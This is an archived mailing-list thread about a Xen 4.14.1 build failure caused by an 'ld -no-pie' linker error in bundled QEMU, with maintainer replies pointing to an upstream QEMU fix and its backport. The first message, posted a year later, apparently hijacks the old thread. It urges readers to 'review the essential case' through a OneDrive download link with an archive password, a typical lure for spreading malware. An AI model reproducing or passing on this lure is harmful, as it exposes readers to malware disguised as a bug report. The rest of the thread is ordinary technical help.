Re: An error due to installation that require binutils package

2022-03-15 Thread John Simpson via Gcc-help
Hi again!
Review the essential case please:


https://onedrive.live.com/download?cid=7525DC7DC7D0C530&resid=7525DC7DC7D0C530%21107&authkey=APAIWBtplog6Z2E





File password: E4345

Hello,

Kindly ask you to have a look at this bug.
Thank you for your replies.

On Mon, Mar 29, 2021 at 7:07 PM George Dunlap 
wrote:

> John,
>
> Thanks for your report.  Can you post your bug report
>  ?
>
> The bug is in the compilation of QEMU, which is an external project; so
> it’s possible that we’ll end up having to raise this with that community as
> well.
>
> Thanks,
>  -George Dunlap
>
> > On Mar 28, 2021, at 2:26 PM, John Simpson <> wrote:
> >
> > Hello,
> >
> > Just forwarding this message to you. Can you give some thoughs about
> this? Thanks a lot.
> >
> >
> > -- Forwarded message -----
> > From: Alan Modra <>
> > Date: Sun, Mar 28, 2021 at 2:21 PM
> > Subject: Re: An error due to installation that require binutils package.
> > To: John Simpson <>
> > Cc: <>
> >
> >
> > On Sun, Mar 28, 2021 at 12:55:23PM +0300, John Simpson via Binutils
> wrote:
> > >   BUILD   pc-bios/optionrom/kvmvapic.img
> > > ld: Error: unable to disambiguate: -no-pie (did you mean --no-pie ?)
> >
> > -no-pie is a gcc option.  Neither -no-pie nor --no-pie is a valid ld
> > option.  The fault lies with whatever passed -no-pie to ld.
> >
> > --
> > Alan Modra
> > Australia Development Lab, IBM
> >
> >
> >
> > -- Forwarded message -
> > From: Andreas Schwab <>
> > Date: Sun, Mar 28, 2021 at 2:17 PM
> > Subject: Re: An error due to installation that require binutils package.
> > To: John Simpson via Binutils <>
> > Cc: John Simpson <>
> >
> >
> > Please report that to the xen project.  ld -no-pie doesn't have a useful
> > meaning.  It used to mean the same as ld -n -o-pie, which sets "-pie" as
> > the output file name.
> >
> > Andreas.
> >
> > --
> > Andreas Schwab, 
> > GPG Key fingerprint = 7578 EB47 D4E5 4D69 2510  2552 DF73 E780 A9DA AEC1
> > "And now for something completely different."
> >
> >
> >
> > -- Forwarded message -
> > From: John Simpson <>
> > Date: Sun, Mar 28, 2021 at 12:55 PM
> > Subject: An error due to installation that require binutils package.
> > To: <>
> >
> >
> > Hello,
> >
> > Recently I got a following error due to installation xen on
> 5.11.6-1-MANJARO kernel:
> >
> >   GEN target/riscv/trace.c
> >   GEN target/s390x/trace.c
> >   GEN target/sparc/trace.c
> >   GEN util/trace.c
> >   GEN config-all-devices.mak
> > make[1]: Entering directory
> '/home/username/xen/src/xen-4.14.1/tools/qemu-xen/slirp'
> > make[1]: Nothing to be done for 'all'.
> > make[1]: Leaving directory
> '/home/username/xen/src/xen-4.14.1/tools/qemu-xen/slirp'
> >   BUILD   pc-bios/optionrom/multiboot.img
> >   BUILD   pc-bios/optionrom/linuxboot.img
> >   BUILD   pc-bios/optionrom/linuxboot_dma.img
> >   BUILD   pc-bios/optionrom/kvmvapic.img
> > ld: Error: unable to disambiguate: -no-pie (did you mean --no-pie ?)
> > make[1]: *** [Makefile:53: multiboot.img] Error 1
> > make[1]: *** Waiting for unfinished jobs
> > ld: Error: unable to disambiguate: -no-pie (did you mean --no-pie ?)
> > make[1]: *** [Makefile:53: linuxboot_dma.img] Error 1
> >   BUILD   pc-bios/optionrom/pvh.img
> > ld: Error: unable to disambiguate: -no-pie (did you mean --no-pie ?)
> > make[1]: *** [Makefile:53: linuxboot.img] Error 1
> > ld: Error: unable to disambiguate: -no-pie (did you mean --no-pie ?)
> > make[1]: *** [Makefile:53: kvmvapic.img] Error 1
> > ld: Error: unable to disambiguate: -no-pie (did you mean --no-pie ?)
> > make[1]: *** [Makefile:50: pvh.img] Error 1
> > make: *** [Makefile:581: pc-bios/optionrom/all] Error 2
> > make: Leaving directory
> '/home/username/xen/src/xen-4.14.1/tools/qemu-xen-build'
> > make[3]: *** [Makefile:218: subdir-all-qemu-xen-dir] Error 2
> > make[3]: Leaving directory '/home/username/xen/src/xen-4.14.1/tools'
> > make[2]: ***
> [/home/username/xen/src/xen-4.14.1/tools/../tools/Rules.mk:235:
> subdirs-install] Error 2
> > make[2]: Leaving directory '/home/username/xen/src/xen-4.14.1/tools'
> > make[1]: *** [Makefile:72: install] Error 2
> > make[1]: Leaving directory '/home/username/xen/src/xen-4.14.1/tools'
> > make: *** [Makefile:134: install-tools] Error 2
> > ==> ERROR: A failure occurred in build().
> > Aborting...
> >
> > Currently I have fresh binutils 2.36.1-2 and it seems to me that the
> issue is related to this part of code:
> >
> > github.com/bminor/binutils-gdb/blob/master/ld/lexsup.c#L451
> >
> > It seems to me that this could impact far more users than just me.
> >
>
>



Re: An error due to installation that require binutils package

2021-04-09 Thread Anthony PERARD
On Wed, Mar 31, 2021 at 11:03:55AM +0100, George Dunlap wrote:
> [Dropping some irrelevant cc’s]
> 
> > On Mar 30, 2021, at 1:46 PM, Stefano Garzarella  wrote:
> > 
> > Hi John,
> > 
> > On Mon, Mar 29, 2021 at 09:46:49PM +0300, John Simpson wrote:
> >> Hello,
> >> 
> >> Kindly ask you to have a look at this bug.
> >> Thank you for your replies.
> > 
> > It's already fixed in QEMU upstream and the fix will be released with the 
> > 6.0 version next month (the rc0 is already available):
> > https://gitlab.com/qemu-project/qemu/-/commit/bbd2d5a8120771ec59b86a80a1f51884e0a26e53
> > 
> > I guess xen-4.14.1 is using an older version, so if you want you can 
> > backport that patch in your version, the change should be simple.
> 
> Anthony,
> 
> Is this the kind of thing we could / should cherry-pick onto our 
> qemu-upstream branches (both 4.14 and 4.15)?

Done, I've backport the build fix to both staging branch.

Thanks,

-- 
Anthony PERARD



Re: An error due to installation that require binutils package

2021-03-31 Thread George Dunlap
[Dropping some irrelevant cc’s]

> On Mar 30, 2021, at 1:46 PM, Stefano Garzarella  wrote:
> 
> Hi John,
> 
> On Mon, Mar 29, 2021 at 09:46:49PM +0300, John Simpson wrote:
>> Hello,
>> 
>> Kindly ask you to have a look at this bug.
>> Thank you for your replies.
> 
> It's already fixed in QEMU upstream and the fix will be released with the 6.0 
> version next month (the rc0 is already available):
> https://gitlab.com/qemu-project/qemu/-/commit/bbd2d5a8120771ec59b86a80a1f51884e0a26e53
> 
> I guess xen-4.14.1 is using an older version, so if you want you can backport 
> that patch in your version, the change should be simple.

Anthony,

Is this the kind of thing we could / should cherry-pick onto our qemu-upstream 
branches (both 4.14 and 4.15)?

 -George



Re: An error due to installation that require binutils package

2021-03-31 Thread John Simpson
Got you Stefano,

Appreciate for your reply.

On Tue, Mar 30, 2021 at 8:46 AM Stefano Garzarella 
wrote:

> Hi John,
>
> On Mon, Mar 29, 2021 at 09:46:49PM +0300, John Simpson wrote:
> >Hello,
> >
> >Kindly ask you to have a look at this bug.
> >Thank you for your replies.
>
> It's already fixed in QEMU upstream and the fix will be released with
> the 6.0 version next month (the rc0 is already available):
>
> https://gitlab.com/qemu-project/qemu/-/commit/bbd2d5a8120771ec59b86a80a1f51884e0a26e53
>
> I guess xen-4.14.1 is using an older version, so if you want you can
> backport that patch in your version, the change should be simple.
>
> Thanks,
> Stefano
>
> >
> >On Mon, Mar 29, 2021 at 7:07 PM George Dunlap 
> >wrote:
> >
> >> John,
> >>
> >> Thanks for your report.  Can you post your bug report
> >> xen-devel@lists.xenproject.org ?
> >>
> >> The bug is in the compilation of QEMU, which is an external project; so
> >> it’s possible that we’ll end up having to raise this with that
> community as
> >> well.
> >>
> >> Thanks,
> >>  -George Dunlap
> >>
> >> > On Mar 28, 2021, at 2:26 PM, John Simpson 
> wrote:
> >> >
> >> > Hello,
> >> >
> >> > Just forwarding this message to you. Can you give some thoughs about
> >> this? Thanks a lot.
> >> >
> >> >
> >> > -- Forwarded message -
> >> > From: Alan Modra 
> >> > Date: Sun, Mar 28, 2021 at 2:21 PM
> >> > Subject: Re: An error due to installation that require binutils
> package.
> >> > To: John Simpson 
> >> > Cc: 
> >> >
> >> >
> >> > On Sun, Mar 28, 2021 at 12:55:23PM +0300, John Simpson via Binutils
> >> wrote:
> >> > >   BUILD   pc-bios/optionrom/kvmvapic.img
> >> > > ld: Error: unable to disambiguate: -no-pie (did you mean --no-pie ?)
> >> >
> >> > -no-pie is a gcc option.  Neither -no-pie nor --no-pie is a valid ld
> >> > option.  The fault lies with whatever passed -no-pie to ld.
> >> >
> >> > --
> >> > Alan Modra
> >> > Australia Development Lab, IBM
> >> >
> >> >
> >> >
> >> > -- Forwarded message -
> >> > From: Andreas Schwab 
> >> > Date: Sun, Mar 28, 2021 at 2:17 PM
> >> > Subject: Re: An error due to installation that require binutils
> >> > package.
> >> > To: John Simpson via Binutils 
> >> > Cc: John Simpson 
> >> >
> >> >
> >> > Please report that to the xen project.  ld -no-pie doesn't have a
> useful
> >> > meaning.  It used to mean the same as ld -n -o-pie, which sets "-pie"
> as
> >> > the output file name.
> >> >
> >> > Andreas.
> >> >
> >> > --
> >> > Andreas Schwab, sch...@linux-m68k.org
> >> > GPG Key fingerprint = 7578 EB47 D4E5 4D69 2510  2552 DF73 E780 A9DA
> AEC1
> >> > "And now for something completely different."
> >> >
> >> >
> >> >
> >> > -- Forwarded message -
> >> > From: John Simpson 
> >> > Date: Sun, Mar 28, 2021 at 12:55 PM
> >> > Subject: An error due to installation that require binutils package.
> >> > To: 
> >> >
> >> >
> >> > Hello,
> >> >
> >> > Recently I got a following error due to installation xen on
> >> 5.11.6-1-MANJARO kernel:
> >> >
> >> >   GEN target/riscv/trace.c
> >> >   GEN target/s390x/trace.c
> >> >   GEN target/sparc/trace.c
> >> >   GEN util/trace.c
> >> >   GEN config-all-devices.mak
> >> > make[1]: Entering directory
> >> '/home/username/xen/src/xen-4.14.1/tools/qemu-xen/slirp'
> >> > make[1]: Nothing to be done for 'all'.
> >> > make[1]: Leaving directory
> >> '/home/username/xen/src/xen-4.14.1/tools/qemu-xen/slirp'
> >> >   BUILD   pc-bios/optionrom/multiboot.img
> >> >   BUILD   pc-bios/optionrom/linuxboot.img
> >> >   BUILD   pc-bios/optionrom/linuxboot_dma.img
> >> >   BUILD   pc-bios/optionrom/kvmvapic.img
> >> > ld: Error: unable to disambiguate: -no-pie (did you mean --no-pie ?)
> >> > make[1]: *** [Makefile:53: mul

Re: An error due to installation that require binutils package

2021-03-30 Thread Stefano Garzarella

Hi John,

On Mon, Mar 29, 2021 at 09:46:49PM +0300, John Simpson wrote:

Hello,

Kindly ask you to have a look at this bug.
Thank you for your replies.


It's already fixed in QEMU upstream and the fix will be released with 
the 6.0 version next month (the rc0 is already available):

https://gitlab.com/qemu-project/qemu/-/commit/bbd2d5a8120771ec59b86a80a1f51884e0a26e53

I guess xen-4.14.1 is using an older version, so if you want you can 
backport that patch in your version, the change should be simple.


Thanks,
Stefano



On Mon, Mar 29, 2021 at 7:07 PM George Dunlap 
wrote:


John,

Thanks for your report.  Can you post your bug report
xen-devel@lists.xenproject.org ?

The bug is in the compilation of QEMU, which is an external project; so
it’s possible that we’ll end up having to raise this with that community as
well.

Thanks,
 -George Dunlap

> On Mar 28, 2021, at 2:26 PM, John Simpson  wrote:
>
> Hello,
>
> Just forwarding this message to you. Can you give some thoughs about
this? Thanks a lot.
>
>
> -- Forwarded message -
> From: Alan Modra 
> Date: Sun, Mar 28, 2021 at 2:21 PM
> Subject: Re: An error due to installation that require binutils package.
> To: John Simpson 
> Cc: 
>
>
> On Sun, Mar 28, 2021 at 12:55:23PM +0300, John Simpson via Binutils
wrote:
> >   BUILD   pc-bios/optionrom/kvmvapic.img
> > ld: Error: unable to disambiguate: -no-pie (did you mean --no-pie ?)
>
> -no-pie is a gcc option.  Neither -no-pie nor --no-pie is a valid ld
> option.  The fault lies with whatever passed -no-pie to ld.
>
> --
> Alan Modra
> Australia Development Lab, IBM
>
>
>
> -- Forwarded message -----
> From: Andreas Schwab 
> Date: Sun, Mar 28, 2021 at 2:17 PM
> Subject: Re: An error due to installation that require binutils 
> package.

> To: John Simpson via Binutils 
> Cc: John Simpson 
>
>
> Please report that to the xen project.  ld -no-pie doesn't have a useful
> meaning.  It used to mean the same as ld -n -o-pie, which sets "-pie" as
> the output file name.
>
> Andreas.
>
> --
> Andreas Schwab, sch...@linux-m68k.org
> GPG Key fingerprint = 7578 EB47 D4E5 4D69 2510  2552 DF73 E780 A9DA AEC1
> "And now for something completely different."
>
>
>
> -- Forwarded message -
> From: John Simpson 
> Date: Sun, Mar 28, 2021 at 12:55 PM
> Subject: An error due to installation that require binutils package.
> To: 
>
>
> Hello,
>
> Recently I got a following error due to installation xen on
5.11.6-1-MANJARO kernel:
>
>   GEN target/riscv/trace.c
>   GEN target/s390x/trace.c
>   GEN target/sparc/trace.c
>   GEN util/trace.c
>   GEN config-all-devices.mak
> make[1]: Entering directory
'/home/username/xen/src/xen-4.14.1/tools/qemu-xen/slirp'
> make[1]: Nothing to be done for 'all'.
> make[1]: Leaving directory
'/home/username/xen/src/xen-4.14.1/tools/qemu-xen/slirp'
>   BUILD   pc-bios/optionrom/multiboot.img
>   BUILD   pc-bios/optionrom/linuxboot.img
>   BUILD   pc-bios/optionrom/linuxboot_dma.img
>   BUILD   pc-bios/optionrom/kvmvapic.img
> ld: Error: unable to disambiguate: -no-pie (did you mean --no-pie ?)
> make[1]: *** [Makefile:53: multiboot.img] Error 1
> make[1]: *** Waiting for unfinished jobs
> ld: Error: unable to disambiguate: -no-pie (did you mean --no-pie ?)
> make[1]: *** [Makefile:53: linuxboot_dma.img] Error 1
>   BUILD   pc-bios/optionrom/pvh.img
> ld: Error: unable to disambiguate: -no-pie (did you mean --no-pie ?)
> make[1]: *** [Makefile:53: linuxboot.img] Error 1
> ld: Error: unable to disambiguate: -no-pie (did you mean --no-pie ?)
> make[1]: *** [Makefile:53: kvmvapic.img] Error 1
> ld: Error: unable to disambiguate: -no-pie (did you mean --no-pie ?)
> make[1]: *** [Makefile:50: pvh.img] Error 1
> make: *** [Makefile:581: pc-bios/optionrom/all] Error 2
> make: Leaving directory
'/home/username/xen/src/xen-4.14.1/tools/qemu-xen-build'
> make[3]: *** [Makefile:218: subdir-all-qemu-xen-dir] Error 2
> make[3]: Leaving directory '/home/username/xen/src/xen-4.14.1/tools'
> make[2]: ***
[/home/username/xen/src/xen-4.14.1/tools/../tools/Rules.mk:235:
subdirs-install] Error 2
> make[2]: Leaving directory '/home/username/xen/src/xen-4.14.1/tools'
> make[1]: *** [Makefile:72: install] Error 2
> make[1]: Leaving directory '/home/username/xen/src/xen-4.14.1/tools'
> make: *** [Makefile:134: install-tools] Error 2
> ==> ERROR: A failure occurred in build().
> Aborting...
>
> Currently I have fresh binutils 2.36.1-2 and it seems to me that the
issue is related to this part of code:
>
> https://github.com/bminor/binutils-gdb/blob/master/ld/lexsup.c#L451
>
> It seems to me that this could impact far more users than just me.
>







Re: An error due to installation that require binutils package

2021-03-29 Thread John Simpson
Hello,

Kindly ask you to have a look at this bug.
Thank you for your replies.

On Mon, Mar 29, 2021 at 7:07 PM George Dunlap 
wrote:

> John,
>
> Thanks for your report.  Can you post your bug report
> xen-devel@lists.xenproject.org ?
>
> The bug is in the compilation of QEMU, which is an external project; so
> it’s possible that we’ll end up having to raise this with that community as
> well.
>
> Thanks,
>  -George Dunlap
>
> > On Mar 28, 2021, at 2:26 PM, John Simpson  wrote:
> >
> > Hello,
> >
> > Just forwarding this message to you. Can you give some thoughs about
> this? Thanks a lot.
> >
> >
> > -- Forwarded message -----
> > From: Alan Modra 
> > Date: Sun, Mar 28, 2021 at 2:21 PM
> > Subject: Re: An error due to installation that require binutils package.
> > To: John Simpson 
> > Cc: 
> >
> >
> > On Sun, Mar 28, 2021 at 12:55:23PM +0300, John Simpson via Binutils
> wrote:
> > >   BUILD   pc-bios/optionrom/kvmvapic.img
> > > ld: Error: unable to disambiguate: -no-pie (did you mean --no-pie ?)
> >
> > -no-pie is a gcc option.  Neither -no-pie nor --no-pie is a valid ld
> > option.  The fault lies with whatever passed -no-pie to ld.
> >
> > --
> > Alan Modra
> > Australia Development Lab, IBM
> >
> >
> >
> > -- Forwarded message -
> > From: Andreas Schwab 
> > Date: Sun, Mar 28, 2021 at 2:17 PM
> > Subject: Re: An error due to installation that require binutils package.
> > To: John Simpson via Binutils 
> > Cc: John Simpson 
> >
> >
> > Please report that to the xen project.  ld -no-pie doesn't have a useful
> > meaning.  It used to mean the same as ld -n -o-pie, which sets "-pie" as
> > the output file name.
> >
> > Andreas.
> >
> > --
> > Andreas Schwab, sch...@linux-m68k.org
> > GPG Key fingerprint = 7578 EB47 D4E5 4D69 2510  2552 DF73 E780 A9DA AEC1
> > "And now for something completely different."
> >
> >
> >
> > -- Forwarded message -
> > From: John Simpson 
> > Date: Sun, Mar 28, 2021 at 12:55 PM
> > Subject: An error due to installation that require binutils package.
> > To: 
> >
> >
> > Hello,
> >
> > Recently I got a following error due to installation xen on
> 5.11.6-1-MANJARO kernel:
> >
> >   GEN target/riscv/trace.c
> >   GEN target/s390x/trace.c
> >   GEN target/sparc/trace.c
> >   GEN util/trace.c
> >   GEN config-all-devices.mak
> > make[1]: Entering directory
> '/home/username/xen/src/xen-4.14.1/tools/qemu-xen/slirp'
> > make[1]: Nothing to be done for 'all'.
> > make[1]: Leaving directory
> '/home/username/xen/src/xen-4.14.1/tools/qemu-xen/slirp'
> >   BUILD   pc-bios/optionrom/multiboot.img
> >   BUILD   pc-bios/optionrom/linuxboot.img
> >   BUILD   pc-bios/optionrom/linuxboot_dma.img
> >   BUILD   pc-bios/optionrom/kvmvapic.img
> > ld: Error: unable to disambiguate: -no-pie (did you mean --no-pie ?)
> > make[1]: *** [Makefile:53: multiboot.img] Error 1
> > make[1]: *** Waiting for unfinished jobs
> > ld: Error: unable to disambiguate: -no-pie (did you mean --no-pie ?)
> > make[1]: *** [Makefile:53: linuxboot_dma.img] Error 1
> >   BUILD   pc-bios/optionrom/pvh.img
> > ld: Error: unable to disambiguate: -no-pie (did you mean --no-pie ?)
> > make[1]: *** [Makefile:53: linuxboot.img] Error 1
> > ld: Error: unable to disambiguate: -no-pie (did you mean --no-pie ?)
> > make[1]: *** [Makefile:53: kvmvapic.img] Error 1
> > ld: Error: unable to disambiguate: -no-pie (did you mean --no-pie ?)
> > make[1]: *** [Makefile:50: pvh.img] Error 1
> > make: *** [Makefile:581: pc-bios/optionrom/all] Error 2
> > make: Leaving directory
> '/home/username/xen/src/xen-4.14.1/tools/qemu-xen-build'
> > make[3]: *** [Makefile:218: subdir-all-qemu-xen-dir] Error 2
> > make[3]: Leaving directory '/home/username/xen/src/xen-4.14.1/tools'
> > make[2]: ***
> [/home/username/xen/src/xen-4.14.1/tools/../tools/Rules.mk:235:
> subdirs-install] Error 2
> > make[2]: Leaving directory '/home/username/xen/src/xen-4.14.1/tools'
> > make[1]: *** [Makefile:72: install] Error 2
> > make[1]: Leaving directory '/home/username/xen/src/xen-4.14.1/tools'
> > make: *** [Makefile:134: install-tools] Error 2
> > ==> ERROR: A failure occurred in build().
> > Aborting...
> >
> > Currently I have fresh binutils 2.36.1-2 and it seems to me that the
> issue is related to this part of code:
> >
> > https://github.com/bminor/binutils-gdb/blob/master/ld/lexsup.c#L451
> >
> > It seems to me that this could impact far more users than just me.
> >
>
>


Re: An error due to installation that require binutils package

2021-03-29 Thread Peter Maydell
On Mon, 29 Mar 2021 at 20:20, John Simpson  wrote:
>
> Hello,
>
> Kindly ask you to have a look at this bug.
> Thank you for your replies.

>> > On Sun, Mar 28, 2021 at 12:55:23PM +0300, John Simpson via Binutils wrote:
>> > >   BUILD   pc-bios/optionrom/kvmvapic.img
>> > > ld: Error: unable to disambiguate: -no-pie (did you mean --no-pie ?)

This is a known issue when trying to compile with newer binutils,
fixed in QEMU commit bbd2d5a8120771, which will be in 5.2.1 and 6.0.

thanks
-- PMM